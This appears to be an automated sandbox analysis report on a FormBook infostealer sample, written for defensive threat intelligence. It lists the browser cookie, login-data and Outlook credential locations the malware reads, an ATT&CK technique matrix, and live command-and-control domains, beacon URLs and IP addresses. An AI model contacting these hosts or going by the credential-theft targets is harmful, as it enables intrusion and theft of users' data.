Source: rP0n___87004354.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: rP0n___87004354.exe, FrywuFHvnDbLo.exe, 00000002.00000002.3547131752.0000000001720000.00000002.00000001.00040000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000002.00000000.1729464301.0000000001720000.00000002.00000001.00040000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000005.00000000.1883081777.0000000001470000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: FrywuFHvnDbLo.exe, 00000002.00000002.3547131752.0000000001720000.00000002.00000001.00040000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000002.00000000.1729464301.0000000001720000.00000002.00000001.00040000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000005.00000000.1883081777.0000000001470000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: FrywuFHvnDbLo.exe, 00000002.00000002.3547131752.0000000001720000.00000002.00000001.00040000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000002.00000000.1729464301.0000000001720000.00000002.00000001.00040000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000005.00000000.1883081777.0000000001470000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: FrywuFHvnDbLo.exe, 00000002.00000002.3547131752.0000000001720000.00000002.00000001.00040000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000002.00000000.1729464301.0000000001720000.00000002.00000001.00040000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000005.00000000.1883081777.0000000001470000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007987AB cpuid

0_2_007987AB

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007A5007 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_007A5007

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007B215F GetUserNameW,

0_2_007B215F

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_007A40BA __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_007A40BA

Source: C:\Users\user\Desktop\rP0n___87004354.exe

Code function: 0_2_00774AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00774AFE

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 1.2.svchost.exe.2490000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.2490000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1812489277.0000000002490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3548998319.0000000005260000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1817351860.0000000003250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3547541019.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1817399152.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3546547268.0000000000160000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3547479377.00000000029B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3547465093.00000000055B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\mstsc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: rP0n___87004354.exe	Binary or memory string: WIN_81
Source: rP0n___87004354.exe	Binary or memory string: WIN_XP
Source: rP0n___87004354.exe	Binary or memory string: WIN_XPe
Source: rP0n___87004354.exe	Binary or memory string: WIN_VISTA
Source: rP0n___87004354.exe	Binary or memory string: WIN_7
Source: rP0n___87004354.exe	Binary or memory string: WIN_8
Source: rP0n___87004354.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 2USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Remote Access Functionality

Source: Yara match	File source: 1.2.svchost.exe.2490000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.2490000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1812489277.0000000002490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3548998319.0000000005260000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1817351860.0000000003250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3547541019.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1817399152.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3546547268.0000000000160000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3547479377.00000000029B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3547465093.00000000055B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007E6399 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_007E6399
Source: C:\Users\user\Desktop\rP0n___87004354.exe	Code function: 0_2_007E685D socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_007E685D

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	151 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
rP0n___87004354.exe	74%	ReversingLabs	Win32.Backdoor.FormBook
rP0n___87004354.exe	100%	Avira	HEUR/AGEN.1319375
rP0n___87004354.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://www.linkwave.cloud/al6z/	0%	Avira URL Cloud	safe
http://www.dalong.site/v2c3/	0%	Avira URL Cloud	safe
http://www.ultraleap.net/8pln/?PR_xXrA=T9/DtY4QstE2hf5O1waUB+I/eJ4Uv9cvfz5cQjr/yHb6PkgoDrQz8TZtAEENUqwsBaW/Syqgj8DnNvIHzYG9oL792aB/FoBSyK+aeSTPR1nXcfMqNX8wInY=&n0=mTk8u4lhzbnhVh	0%	Avira URL Cloud	safe
http://www.2bhp.com/a4ar/?n0=mTk8u4lhzbnhVh&PR_xXrA=bigEPZ6XMKFUrjbnFuEouLJTNPVDiP/j9U81Matj+rZ/AUf1cwoUFkvfutX9dfv4h0MjihypUwM2GA6oEMuOAdNfbVj3/yE4LVCgAj4ckDbKMFX8mxMH3uQ=	0%	Avira URL Cloud	safe
http://www.asiapartnars.online/kt2f/?PR_xXrA=3qIRfQl/AKdo1myUuOHVh1YjbZAZzTLYZ4NmxJouZDst8nFYGFmfJjzqUfk6VEmL81v5o0lFZhte5+gDx+sfFJzn9v28G/J2fr9BwA1qwWv9b12erCAk53Y=&n0=mTk8u4lhzbnhVh	0%	Avira URL Cloud	safe
http://www.63582.photo/5o7d/?PR_xXrA=zMeRclQqEZ6cHEksxL2258xeQPEFk6LXLXq5VQFXrGMOKBUumeR2nXgC5pr3HgG3QDdipY9Tb1BbXYBiFpGduAov/pmUDz/4soHslE7c+cNQZpL9+8t0WKA=&n0=mTk8u4lhzbnhVh	0%	Avira URL Cloud	safe
https://www.gandi.net/en/domain	0%	Avira URL Cloud	safe
http://www.linkwave.cloud/al6z/?n0=mTk8u4lhzbnhVh&PR_xXrA=VRCNh0NW0GgzXjJ9PdlWfXWwdPKpBv6LK6gi/31OI/HLVz3edLOFPgfBWIIFI1yv4KnHdZ/ByCAdRrOw29Cps8gpdM+xYTm/p50f5dz2MVQM3pqegGrg4cw=	0%	Avira URL Cloud	safe
http://www.b5x7vk.agency/zznj/	0%	Avira URL Cloud	safe
https://whois.gandi.net/en/results?search=ultraleap.net	0%	Avira URL Cloud	safe
http://www.b5x7vk.agency/zznj/?n0=mTk8u4lhzbnhVh&PR_xXrA=XN/afWzprYUm2zEh/Me8v7IO6BZfJ8ldqsTKqfvYzDGyGH3Qqe2ibLEK4zu3d4hkDWgHsBH7o/PgLSUsZsuwL2SV1lDf+BUf6ZfDIcx/0TWTXhhDzyKZrRs=	0%	Avira URL Cloud	safe
http://www.mfgarage.net/3lu7/	0%	Avira URL Cloud	safe
http://www.b5x7vk.agency	0%	Avira URL Cloud	safe
http://www.asiapartnars.online/kt2f/	0%	Avira URL Cloud	safe
http://www.ultraleap.net/8pln/	0%	Avira URL Cloud	safe
http://www.dalong.site/v2c3/?n0=mTk8u4lhzbnhVh&PR_xXrA=4KW7rJi8xQgG5Juif0zvrQruwxJNCZQzPrutLC9Z2JC7riozJk19TyUHcpxc9ASY/m5rLPYp2hVK9kL/MGxev+uUFboPihN5w7Wu/KeDCgTl/GYzmTNxclA=	0%	Avira URL Cloud	safe
http://www.heldhold.xyz/fava/	0%	Avira URL Cloud	safe
http://www.63582.photo/5o7d/	0%	Avira URL Cloud	safe
https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mfgarage.net%2F3lu7%2F%3FPR_xXrA%3Dn	0%	Avira URL Cloud	safe
http://www.mgeducacaopro.online/xamn/	0%	Avira URL Cloud	safe
http://www.heldhold.xyz/fava/?PR_xXrA=GCDZpLqdSYk7fT5CRgwCB4qcStchn8AdfdSMH3wAhEJHSlsoeLITVJbnCwS/lbUV+KMqaRxHJZIr2IJ0lKwQCgtKpqiTYCqf8kUZvClY0WdZB6RiKYyZbbU=&n0=mTk8u4lhzbnhVh	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
webredir.vip.gandi.net	217.70.184.50	true	true	unknown
azkwupgf.as66588.com	103.248.137.209	true	true	unknown
dalong.site	172.96.187.60	true	true	unknown
www.b5x7vk.agency	104.21.11.31	true	true	unknown
www.heldhold.xyz	67.223.117.189	true	true	unknown
www.2bhp.com	81.88.63.46	true	true	unknown
linkwave.cloud	3.33.130.190	true	true	unknown
asiapartnars.online	3.33.130.190	true	true	unknown
mgeducacaopro.online	3.33.130.190	true	true	unknown
www.mfgarage.net	85.153.138.113	true	true	unknown
www.dalong.site	unknown	unknown	true	unknown
www.useanecdotenow.tech	unknown	unknown	true	unknown
www.ultraleap.net	unknown	unknown	true	unknown
www.linkwave.cloud	unknown	unknown	true	unknown
www.mgeducacaopro.online	unknown	unknown	true	unknown
www.63582.photo	unknown	unknown	true	unknown
www.asiapartnars.online	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.linkwave.cloud/al6z/	true	Avira URL Cloud: safe	unknown
http://www.asiapartnars.online/kt2f/?PR_xXrA=3qIRfQl/AKdo1myUuOHVh1YjbZAZzTLYZ4NmxJouZDst8nFYGFmfJjzqUfk6VEmL81v5o0lFZhte5+gDx+sfFJzn9v28G/J2fr9BwA1qwWv9b12erCAk53Y=&n0=mTk8u4lhzbnhVh	true	Avira URL Cloud: safe	unknown
http://www.63582.photo/5o7d/?PR_xXrA=zMeRclQqEZ6cHEksxL2258xeQPEFk6LXLXq5VQFXrGMOKBUumeR2nXgC5pr3HgG3QDdipY9Tb1BbXYBiFpGduAov/pmUDz/4soHslE7c+cNQZpL9+8t0WKA=&n0=mTk8u4lhzbnhVh	true	Avira URL Cloud: safe	unknown
http://www.b5x7vk.agency/zznj/	true	Avira URL Cloud: safe	unknown
http://www.2bhp.com/a4ar/?n0=mTk8u4lhzbnhVh&PR_xXrA=bigEPZ6XMKFUrjbnFuEouLJTNPVDiP/j9U81Matj+rZ/AUf1cwoUFkvfutX9dfv4h0MjihypUwM2GA6oEMuOAdNfbVj3/yE4LVCgAj4ckDbKMFX8mxMH3uQ=	true	Avira URL Cloud: safe	unknown
http://www.dalong.site/v2c3/	true	Avira URL Cloud: safe	unknown
http://www.ultraleap.net/8pln/?PR_xXrA=T9/DtY4QstE2hf5O1waUB+I/eJ4Uv9cvfz5cQjr/yHb6PkgoDrQz8TZtAEENUqwsBaW/Syqgj8DnNvIHzYG9oL792aB/FoBSyK+aeSTPR1nXcfMqNX8wInY=&n0=mTk8u4lhzbnhVh	true	Avira URL Cloud: safe	unknown
http://www.linkwave.cloud/al6z/?n0=mTk8u4lhzbnhVh&PR_xXrA=VRCNh0NW0GgzXjJ9PdlWfXWwdPKpBv6LK6gi/31OI/HLVz3edLOFPgfBWIIFI1yv4KnHdZ/ByCAdRrOw29Cps8gpdM+xYTm/p50f5dz2MVQM3pqegGrg4cw=	true	Avira URL Cloud: safe	unknown
http://www.asiapartnars.online/kt2f/	true	Avira URL Cloud: safe	unknown
http://www.mfgarage.net/3lu7/	true	Avira URL Cloud: safe	unknown
http://www.63582.photo/5o7d/	true	Avira URL Cloud: safe	unknown
http://www.dalong.site/v2c3/?n0=mTk8u4lhzbnhVh&PR_xXrA=4KW7rJi8xQgG5Juif0zvrQruwxJNCZQzPrutLC9Z2JC7riozJk19TyUHcpxc9ASY/m5rLPYp2hVK9kL/MGxev+uUFboPihN5w7Wu/KeDCgTl/GYzmTNxclA=	true	Avira URL Cloud: safe	unknown
http://www.b5x7vk.agency/zznj/?n0=mTk8u4lhzbnhVh&PR_xXrA=XN/afWzprYUm2zEh/Me8v7IO6BZfJ8ldqsTKqfvYzDGyGH3Qqe2ibLEK4zu3d4hkDWgHsBH7o/PgLSUsZsuwL2SV1lDf+BUf6ZfDIcx/0TWTXhhDzyKZrRs=	true	Avira URL Cloud: safe	unknown
http://www.ultraleap.net/8pln/	true	Avira URL Cloud: safe	unknown
http://www.heldhold.xyz/fava/	true	Avira URL Cloud: safe	unknown
http://www.mgeducacaopro.online/xamn/	true	Avira URL Cloud: safe	unknown
http://www.heldhold.xyz/fava/?PR_xXrA=GCDZpLqdSYk7fT5CRgwCB4qcStchn8AdfdSMH3wAhEJHSlsoeLITVJbnCwS/lbUV+KMqaRxHJZIr2IJ0lKwQCgtKpqiTYCqf8kUZvClY0WdZB6RiKYyZbbU=&n0=mTk8u4lhzbnhVh	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	mstsc.exe, 00000003.00000002.3549693164.000000000764D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	mstsc.exe, 00000003.00000002.3549693164.000000000764D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://whois.gandi.net/en/results?search=ultraleap.net	mstsc.exe, 00000003.00000002.3548096253.00000000050B6000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000003.00000002.3549606840.00000000073A0000.00000004.00000800.00020000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000005.00000002.3547618180.00000000033A6000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	mstsc.exe, 00000003.00000002.3549693164.000000000764D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	mstsc.exe, 00000003.00000002.3549693164.000000000764D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gandi.net/en/domain	mstsc.exe, 00000003.00000002.3548096253.00000000050B6000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000003.00000002.3549606840.00000000073A0000.00000004.00000800.00020000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000005.00000002.3547618180.00000000033A6000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	mstsc.exe, 00000003.00000002.3549693164.000000000764D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	mstsc.exe, 00000003.00000002.3549693164.000000000764D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.b5x7vk.agency	FrywuFHvnDbLo.exe, 00000005.00000002.3548998319.00000000052C5000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	mstsc.exe, 00000003.00000002.3549693164.000000000764D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	mstsc.exe, 00000003.00000002.3549693164.000000000764D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mfgarage.net%2F3lu7%2F%3FPR_xXrA%3Dn	mstsc.exe, 00000003.00000002.3548096253.0000000005D46000.00000004.10000000.00040000.00000000.sdmp, FrywuFHvnDbLo.exe, 00000005.00000002.3547618180.0000000004036000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
67.223.117.189	www.heldhold.xyz	United States	15189	VIMRO-AS15189US	true
172.96.187.60	dalong.site	Canada	32475	SINGLEHOP-LLCUS	true
103.248.137.209	azkwupgf.as66588.com	Hong Kong	59371	DNC-ASDimensionNetworkCommunicationLimitedHK	true
217.70.184.50	webredir.vip.gandi.net	France	29169	GANDI-ASDomainnameregistrar-httpwwwgandinetFR	true
81.88.63.46	www.2bhp.com	Italy	39729	REGISTER-ASIT	true
104.21.11.31	www.b5x7vk.agency	United States	13335	CLOUDFLARENETUS	true
3.33.130.190	linkwave.cloud	United States	8987	AMAZONEXPANSIONGB	true
85.153.138.113	www.mfgarage.net	Turkey	12946	TELECABLESpainES	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1518123
Start date and time:	2024-09-25 12:45:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	rP0n___87004354.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/4@11/8
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 91% Number of executed functions: 55 Number of non-executed functions: 279
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: rP0n___87004354.exe

Simulations

Behavior and APIs

Time	Type	Description
06:46:52	API Interceptor	8728961x Sleep call for process: mstsc.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
67.223.117.189	Enquiry.exe	Get hash	malicious	FormBook	Browse	www.uburn.xyz/iqqs/
	AWB_5771388044 Documenti di spedizione.exe	Get hash	malicious	FormBook	Browse	www.uburn.xyz/unks/
	ncOLm62YLB.exe	Get hash	malicious	FormBook	Browse	www.uburn.xyz/unks/
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	www.heldhold.xyz/fava/
	LisectAVT_2403002B_466.exe	Get hash	malicious	FormBook	Browse	www.techstone.top/d5fo/
	Shipping Documents 7896424100.exe	Get hash	malicious	FormBook	Browse	www.nodedev.top/wnsq/
	ORDEN_240715189833.IMG	Get hash	malicious	DarkTortilla, FormBook	Browse	www.akissdove.xyz/8ntn/
	OrderPI.exe	Get hash	malicious	FormBook	Browse	www.helidove.xyz/no40/
	PRE-ALERT HTHC22031529.exe	Get hash	malicious	FormBook	Browse	www.nodedev.top/wnsq/
	Scan405.exe	Get hash	malicious	FormBook	Browse	www.bandbid.top/38gc/
172.96.187.60	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	www.dalong.site/v2c3/
172.96.187.60	xU0wdBC6XWRZ6UY.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.resmierabaru20.shop/ps15/?_jATs=UfdXThPpQ4ST0&XtutFHLx=3z9oRqqmd6FbtNg9CkHjvIkeoG86+7PKpZbS0bbY4gI7z8JQO6bI5gwIdi8ZdM48HBzoDxHL8Q==
217.70.184.50	CYTAT.exe	Get hash	malicious	FormBook	Browse	www.languagemodel.pro/nxfn/
	Cotizaci#U00f3n.exe	Get hash	malicious	FormBook	Browse	www.languagemodel.pro/nxfn/
	ES-241-29335_pdf.exe	Get hash	malicious	FormBook	Browse	www.offkase.org/vkr8/
	RECIEPT.PDF.exe	Get hash	malicious	FormBook	Browse	www.ultraleap.net/hwgh/
	PO# Q919240.exe	Get hash	malicious	FormBook	Browse	www.languagemodel.pro/nxfn/
	PO098765678.exe	Get hash	malicious	FormBook	Browse	www.ultraleap.net/4qqr/
	PAGO $830.900.exe	Get hash	malicious	FormBook	Browse	www.languagemodel.pro/nxfn/
	FATURALAR PDF.exe	Get hash	malicious	FormBook	Browse	www.akravchenko.dev/atph/
	Order#Qxz091124.exe	Get hash	malicious	FormBook	Browse	www.akravchenko.dev/qeip/
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	www.ultraleap.net/8pln/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.heldhold.xyz	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
webredir.vip.gandi.net	CYTAT.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	Cotizaci#U00f3n.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	ES-241-29335_pdf.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	RECIEPT.PDF.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	PO# Q919240.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	PO098765678.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	PAGO $830.900.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	PROFOMA INVOICE SHEET.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	FATURALAR PDF.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
www.2bhp.com	AWB_5771388044 Documenti di spedizione.exe	Get hash	malicious	FormBook	Browse	81.88.63.46
	ncOLm62YLB.exe	Get hash	malicious	FormBook	Browse	81.88.63.46
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	81.88.63.46
azkwupgf.as66588.com	inquiry and prices EO-230807.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
	HBLAWBP.LISTCOC & INV.exe	Get hash	malicious	FormBook	Browse	147.92.40.174
	NEW ORDERS scan_29012019.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
www.b5x7vk.agency	Payment Advise-PDF.exe	Get hash	malicious	FormBook	Browse	172.67.165.25
